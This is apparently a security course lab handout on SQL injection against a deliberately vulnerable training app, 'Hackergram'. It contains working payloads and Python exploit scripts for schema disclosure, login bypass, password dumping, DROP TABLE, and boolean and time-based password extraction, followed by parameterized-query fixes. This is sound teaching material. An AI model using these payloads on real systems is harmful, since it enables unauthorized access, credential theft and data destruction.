SQL Injection
SQL injection is a type of attack in which an attacker injects malicious SQL queries into the input fields of a web application, targeting the SQL database. In case of success, the attacker can perform unauthorized actions, such as accessing sensitive information stored in the database, altering data by inserting, updating, or deleting records, and executing administrative commands, such as shutting down the database management system (DBMS). In more advanced scenarios, SQL injection may allow attackers to retrieve files stored on the DBMS file system or even execute system-level commands.
Hackergram is vulnerable to several types of SQLi attacks. The following exercises address these vulnerabilities. Some attacks are performed using the victim-browser and others are performed through Python scripts run at the attacker.
Error-based SQLi
Start by obtaining information on the database software and schema. First, inject an apostrophe (') in the search field of the /users or /posts endpoints. An error message will be displayed disclosing that the software is MySQL. Next, to obtain the database schema, inject the following instruction in the search filed of the /posts endpoint (it uses union-based injection):
' UNION SELECT '1', TABLE_NAME, '1', '1', COLUMN_NAME, table_schema FROM INFORMATION_SCHEMA.COLUMNS --
You will learn that the database has four tables (Users, Requests, Posts, and Friends), and you will also learn which are the columns of each table. To obtain a more structured output run the script of Appendix A at the attacker.
π‘ Solution
Execute this script on the attacker's machine:# Gets DB version and DB schema (Search Posts)
import requests
import sys
from bs4 import BeautifulSoup
def reset(session):
session.get(SERVER+"/reset")
def register(session):
payload = {
'username': "mallory",
'name': "Mallory",
'password': "eve123"
}
session.post(SERVER+"/signup", data=payload)
def login(session):
payload = {
'username': "mallory",
'password': "eve123"
}
session.post(SERVER+"/login", data=payload)
def exploit(session):
payload = {
'search' : "' UNION SELECT -- "
}
r = session.get(SERVER+"/posts", params=payload)
soup = BeautifulSoup(r.text, 'html.parser')
h4 = soup.find('h4').text
print("Error message:")
print(h4)
if "MySQL" in h4:
print("\nDatabase is powered by MySQL")
else:
print("\nFailed to identify Database version")
print("--------------------------------------\n")
print("(Table : Column)\n")
payload = {
'search' : "' UNION SELECT '1', TABLE_NAME, '1', '1', COLUMN_NAME, table_schema FROM INFORMATION_SCHEMA.COLUMNS -- "
}
r = session.get(SERVER+"/posts", params=payload)
soup = BeautifulSoup(r.text, 'html.parser')
cards = soup.find_all(class_='card')
for card in cards:
href = card.find(class_='profile')
if href and 'href' in href.attrs:
table = href['href'].split('username=')[1]
db_name = card.find(class_='card-text h6').text.strip()
if db_name == "(hackergramdb)":
column = card.find(class_='card-text h5').text.strip()
print(f"{table} : {column}")
if __name__ == '__main__':
host = '192.168.0.100' if len(sys.argv) < 2 else sys.argv[1]
port = '80' if len(sys.argv) < 3 else sys.argv[2]
SERVER = "http://" + host + ":" + port
print(SERVER)
print("--------------------------------------\n")
with requests.session() as s:
reset(s)
register(s)
login(s)
exploit(s)
Authentication bypass
Hackergram is vulnerable to authentication bypass attacks. In this exercise, login as admin without using its password.
π‘ Solution
In the /login endpoint, injectadmin' and 1=1 --
Union-based SQLi
Use union-based injection to dump all users and passwords from the database.
π‘ Solution
**Method 1: Manual injection via search field** 1. **In `/posts` search field, enter:**' UNION SELECT '1', username, password, '1', '1', '1' FROM Users --
' UNION SELECT '1', CONCAT(username, ':', password), '1', '1', '1', '1' FROM Users --
import requests
import sys
import re
def dump_users(session):
payload = "' UNION SELECT '1', CONCAT(username, '|', password, '|', name), '1', '1', '1', '1' FROM Users -- "
r = session.get(SERVER+"/posts", params={"search": payload})
# Extract user data from response
users = re.findall(r'([^|]+)\|([^|]+)\|([^|]+)', r.text)
print("Dumped Users:")
print("-" * 50)
for username, password, name in users:
print(f"Username: {username}")
print(f"Password: {password}")
print(f"Name: {name}")
print("-" * 30)
if __name__ == '__main__':
host = '192.168.0.100' if len(sys.argv) < 2 else sys.argv[1]
port = '80' if len(sys.argv) < 3 else sys.argv[2]
SERVER = "http://" + host + ":" + port
with requests.session() as s:
# Register and login first
register(s)
login(s)
dump_users(s)
Piggybacked SQLi
Use piggybacked SQLi to delete one table from Hackergram's database.
π‘ Solution
**β οΈ Warning: This will permanently delete data!** **Method 1: Drop table via search injection** 1. **In `/posts` search field:**test'; DROP TABLE Friends; --
test'; DROP TABLE Requests; --
test'; DROP TABLE Posts; --
import requests
import sys
def delete_table(session, table_name):
payload = f"test'; DROP TABLE {table_name}; -- "
r = session.get(SERVER+"/posts", params={"search": payload})
print(f"Attempted to drop table: {table_name}")
return r
def verify_deletion(session, table_name):
# Try to query the deleted table
test_payload = f"' UNION SELECT '1', '1', '1', '1', '1', '1' FROM {table_name} -- "
r = session.get(SERVER+"/posts", params={"search": test_payload})
if "doesn't exist" in r.text or "Unknown table" in r.text:
print(f"β
Table {table_name} successfully deleted!")
else:
print(f"β Table {table_name} still exists")
if __name__ == '__main__':
host = '192.168.0.100' if len(sys.argv) < 2 else sys.argv[1]
port = '80' if len(sys.argv) < 3 else sys.argv[2]
SERVER = "http://" + host + ":" + port
with requests.session() as s:
register(s)
login(s)
delete_table(s, "Friends")
verify_deletion(s, "Friends")
Boolean-based SQLi
Hackergram is vulnerable to inference attacks such as Boolean-based SQLi. The following script uses this technique to bruteforce the password of the admin user by targeting the search field of the /posts endpoint:
# Gets DB version and DB schema (Search Posts)
import requests
import sys
import string
def reset(session):
session.get(SERVER+"/reset")
def register(session):
payload = {
'username': "mallory",
'name': "Mallory",
'password': "eve123"
}
session.post(SERVER+"/signup", data=payload)
def login(session):
payload = {
'username': "mallory",
'password': "eve123"
}
session.post(SERVER+"/login", data=payload)
def exploit(session):
base = "test' OR username='{user}' AND substr(password, {pos}, 1)='{char}' -- "
user = 'admin'
password = ""
all_chars = string.ascii_letters + string.digits + string.punctuation
for pos in range(1, 33):
found = False
for char in all_chars:
payload = base.format(user=user, pos=pos, char=char)
r = session.get(SERVER+"/posts", params={"search": payload})
if "0 matches" not in r.text:
print(f"Found character: {char}")
password += char
found = True
break
if not found:
break
print(f"\nPassword found for {user}: {password}")
if __name__ == '__main__':
host = '192.168.0.100' if len(sys.argv) < 2 else sys.argv[1]
port = '80' if len(sys.argv) < 3 else sys.argv[2]
SERVER = "http://" + host + ":" + port
print(SERVER)
print("--------------------------------------\n")
with requests.session() as s:
reset(s)
register(s)
login(s)
exploit(s)
Run the script at the attacker and check that the attack indeed works.
Additional exercise
Modify the script to obtain the same information using a time-based injection technique
π‘ Solution for Time-based SQLi
**Time-based SQLi Script:**import requests
import sys
import string
import time
def reset(session):
session.get(SERVER+"/reset")
def register(session):
payload = {
'username': "mallory",
'name': "Mallory",
'password': "eve123"
}
session.post(SERVER+"/signup", data=payload)
def login(session):
payload = {
'username': "mallory",
'password': "eve123"
}
session.post(SERVER+"/login", data=payload)
def time_based_exploit(session):
base = "test' OR (username='{user}' AND substr(password, {pos}, 1)='{char}' AND SLEEP(3)) -- "
user = 'admin'
password = ""
all_chars = string.ascii_letters + string.digits + string.punctuation
for pos in range(1, 33):
found = False
for char in all_chars:
payload = base.format(user=user, pos=pos, char=char)
start_time = time.time()
r = session.get(SERVER+"/posts", params={"search": payload})
end_time = time.time()
# If response took longer than 2.5 seconds, we found the character
if (end_time - start_time) > 2.5:
print(f"Found character: {char}")
password += char
found = True
break
if not found:
break
print(f"\nPassword found for {user}: {password}")
if __name__ == '__main__':
host = '192.168.0.100' if len(sys.argv) < 2 else sys.argv[1]
port = '80' if len(sys.argv) < 3 else sys.argv[2]
SERVER = "http://" + host + ":" + port
print(SERVER)
print("Time-based SQLi Attack")
print("--------------------------------------\n")
with requests.session() as s:
reset(s)
register(s)
login(s)
time_based_exploit(s)
Changing other user's profile
The following function is used to update the user profile at Hackergram:
# Updates user
def update_user_settings(username, name, password, bio, photo):
query = "UPDATE Users"
query+= " SET username='%s', password='%s', name='%s', bio='%s', photo='%s'" % (username, password, name, bio, photo)
query+= " WHERE username = '%s'" % (username)
commit_to_database(query)
return User(username, password, name, bio, photo)
Based on this information, inject an instruction that changes the bio field of the dpr user to "user was pwned".
π‘ Solution
**Analysis of the vulnerable function:** The `update_user_settings` function uses string formatting without proper escaping, making it vulnerable to SQL injection through any of the parameters. **Method 1: Bio field injection** 1. **In your bio field, enter:**normal bio'; UPDATE Users SET bio='user was pwned' WHERE username='dpr'; --
UPDATE Users SET username='mallory', password='eve123', name='Mallory', bio='normal bio'; UPDATE Users SET bio='user was pwned' WHERE username='dpr'; -- ', photo='' WHERE username = 'mallory'
Mallory'; UPDATE Users SET bio='user was pwned' WHERE username='dpr'; --
import requests
import sys
def reset(session):
session.get(SERVER+"/reset")
def register(session):
payload = {
'username': "mallory",
'name': "Mallory",
'password': "eve123"
}
session.post(SERVER+"/signup", data=payload)
def login(session):
payload = {
'username': "mallory",
'password': "eve123"
}
session.post(SERVER+"/login", data=payload)
def exploit_profile(session):
# Malicious payload in bio field
malicious_bio = "normal bio'; UPDATE Users SET bio='user was pwned' WHERE username='dpr'; -- "
payload = {
'username': 'mallory',
'name': 'Mallory',
'password': 'eve123',
'bio': malicious_bio,
'photo': ''
}
r = session.post(SERVER+"/settings", data=payload)
print("Profile update sent with malicious payload")
return r
def verify_attack(session):
# Check if dpr's bio was changed
r = session.get(SERVER+"/users")
if "user was pwned" in r.text:
print("β
Attack successful! DPR's bio was changed.")
else:
print("β Attack failed or bio not visible.")
if __name__ == '__main__':
host = '192.168.0.100' if len(sys.argv) < 2 else sys.argv[1]
port = '80' if len(sys.argv) < 3 else sys.argv[2]
SERVER = "http://" + host + ":" + port
print(SERVER)
print("Profile SQLi Attack")
print("--------------------------------------\n")
with requests.session() as s:
reset(s)
register(s)
login(s)
exploit_profile(s)
verify_attack(s)
Countermeasures
In Hackergram, views.py reads form fields and query parameters and passes them into models.py. The weakness is building SQL with Pythonβs % formatting: user input becomes part of the query text. The fix is to keep the SQL shape fixed and pass values as bound parameters in cursor.execute(sql, tuple).
The examples below mirror the real Hackergram layout: routes in views.py, queries in models.py (plus one DELETE built in views.py).
How requests reach the database (views.py)
These call sites feed untrusted data into functions that currently format SQL strings:
| What you test in the lab | In views.py |
In models.py |
|---|---|---|
| Login bypass | user = models.login(username, password) after reading request.form |
login() |
Search /posts, union/boolean/time-based |
posts = models.get_posts(query) |
get_posts() |
Profile UPDATE |
models.update_user_settings(username, new_name, ...) from /settings |
update_user_settings() |
| (Optional) Admin delete user | "DELETE FROM Users WHERE username = '%s'" % user_to_delete then commit_to_database |
N/A β fix this line in views.py |
You usually do not need to change how the route reads request.form; you change how models.py (and that admin DELETE) executes SQL.
Fix login (stops authentication bypass)
Today in models.py (vulnerable): quotes in username / password break out of the string.
def login(username, password):
query = "SELECT * FROM Users"
query += " WHERE username = '%s'" % (username)
query += " AND password = '%s'" % (password)
data = get_from_database(query)
...
Safer: placeholders %s for the values only.
def login(username, password):
sql = "SELECT * FROM Users WHERE username = %s AND password = %s"
con = mysql.connection.cursor()
con.execute(sql, (username, password))
mysql.connection.commit()
data = con.fetchall()
con.close()
if len(data) == 1:
return User(*(data[0]))
return None
Payloads like admin' AND 1=1 -- are then treated as the literal username, not SQL syntax.
Fix get_posts (stops search / UNION / inference tricks on /posts)
Today in models.py (vulnerable): the search term is embedded inside LIKE '%%%s%%'.
def get_posts(search):
query = "SELECT Posts.id, Users.username, ..."
query += " WHERE Posts.content LIKE '%%%s%%'" % (search)
data = get_from_database(query)
...
Safer: build the %...% pattern in Python; bind it as one value.
def get_posts(search):
sql = (
"SELECT Posts.id, Users.username, Users.name, Users.photo, Posts.content, Posts.posted_at "
"FROM Posts INNER JOIN Users ON Posts.author = Users.username "
"WHERE Posts.content LIKE %s"
)
pattern = f"%{search}%"
con = mysql.connection.cursor()
con.execute(sql, (pattern,))
mysql.connection.commit()
data = con.fetchall()
con.close()
...
Apply the same pattern anywhere else you see LIKE '%%%s%%' (for example get_users, get_friends).
Fix update_user_settings (stops piggybacked UPDATE in profile fields)
Today in models.py (vulnerable): all fields are pasted into the statement, including bio.
def update_user_settings(username, name, password, bio, photo):
query = "UPDATE Users"
query += " SET username='%s', password='%s', name='%s', bio='%s', photo='%s'" % (
username, password, name, bio, photo)
query += " WHERE username = '%s'" % (username)
commit_to_database(query)
Safer:
def update_user_settings(username, name, password, bio, photo):
sql = (
"UPDATE Users SET username=%s, password=%s, name=%s, bio=%s, photo=%s "
"WHERE username=%s"
)
con = mysql.connection.cursor()
con.execute(sql, (username, password, name, bio, photo, username))
mysql.connection.commit()
con.close()
Fix admin delete user (views.py)
Today (vulnerable fragment):
query = "DELETE FROM Users WHERE username = '%s'" % user_to_delete
models.commit_to_database(query)
Safer: parameterized delete (example β use the same mysql handle your app already uses):
con = mysql.connection.cursor()
con.execute("DELETE FROM Users WHERE username = %s", (user_to_delete,))
mysql.connection.commit()
con.close()
Still use least privilege and safer errors
- Give the app DB account only the rights it needs (no
DROP/ file read), so piggybacked statements have less impact if something is missed. - The
error()helper inviews.pycan expose exception text to the browser, which helps error-based SQLi. Log details on the server; show users a generic message.
Takeaway: parameterized execute(sql, params) in models.py (and for the admin DELETE in views.py) matches how Hackergram is structured and closes the same holes you exploit in the exercises.